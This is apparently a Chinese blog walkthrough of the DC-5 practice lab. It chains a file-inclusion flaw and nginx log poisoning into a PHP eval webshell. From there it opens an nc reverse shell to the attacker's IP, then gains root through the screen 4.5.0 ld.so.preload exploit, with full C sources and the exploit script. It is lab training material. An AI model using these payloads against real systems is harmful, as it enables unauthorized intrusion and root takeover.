DC-5靶机练习

 

信息收集

nmap -sV -T4 -p0-65535 192.168.47.0/24

仍然是首先查看80端口是何方神圣

 

 

发现了一个留言板,但是无论怎么xss注入都没有任何的回显,但是发现了每次提交的时候下面的@20**会一直变化

 

 

 怀疑极有可能会是一个文件包含漏洞,那可以试一试目录扫描有没有发现

dirsearch -u http://192.168.47.140

 

 

尝试一下file=/etc/passwd发现确实存在了文件包含的漏洞,尝试从此处写一个webshell,首先需要了解到的是niginx服务器的默认日志路径,方便我们这一步的测试通过Wappalyzer查看到了是nginx1.6.2版本的它的日志会记录在

/var/log/nginx/error.log

var/log/nginx/access.log

写入

<?php phpinfo(); ?>

 

接着写入一句话木马

<?php @eval($_POST['kkk']);?>

 

 

然后可以反弹shell监听一下

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.47.137 4444 >/tmp/f

nc -lvvp 4444

  1. 发现suid提权方式是比较可靠的,首先查询下什么文件可以suid运行,发现了一个screen-4.5.0
  2. 在kali中使用searchsploit寻找一下 screen 4.5.0相关的提权漏洞

 

searchsploit screen 4.5.0

查看41154.sh的文件内容

 

cat /usr/share/exploitdb/exploits/linux/local/41154.sh

然后跟着文件内容往下走

vim libhax.c



#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

    chown("/tmp/rootshell", 0, 0);

    chmod("/tmp/rootshell", 04755);

    unlink("/etc/ld.so.preload");

    printf("[+] done!\n");

}



gcc -fPIC -shared -ldl -o libhax.so libhax.c        编译该文件  

vim rootshell.c



#include <stdio.h>

int main(void){

    setuid(0);

    setgid(0);

    seteuid(0);

    setegid(0);

    execvp("/bin/sh", NULL, NULL);

}



gcc -o rootshell rootshell.c         编译该文件  

vim dc5.sh



#!/bin/bash

# screenroot.sh

# setuid screen v4.5.0 local root exploit

# abuses ld.so.preload overwriting to get root.

# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html

# HACK THE PLANET

# ~ infodox (25/1/2017)

echo "~ gnu/screenroot ~"

echo "[+] First, we create our shell and library..."

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell
python -m http.server  //使用Python在当前文件夹开启http服务

 

 接下来在反弹shell中进入tmp目录下 在/var/www/html目录下没有wget下载权限

cd /tmp

wget 192.168.47.137:8000/dc5.sh

wget 192.168.47.137:8000/libhax.so

wget 192.168.47.137:8000/rootshell

 

 给dc5.sh赋予权限并且运行

chmod 777 dc5.sh

./dc5.sh

cd /root

cat thisistheflag.txt

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值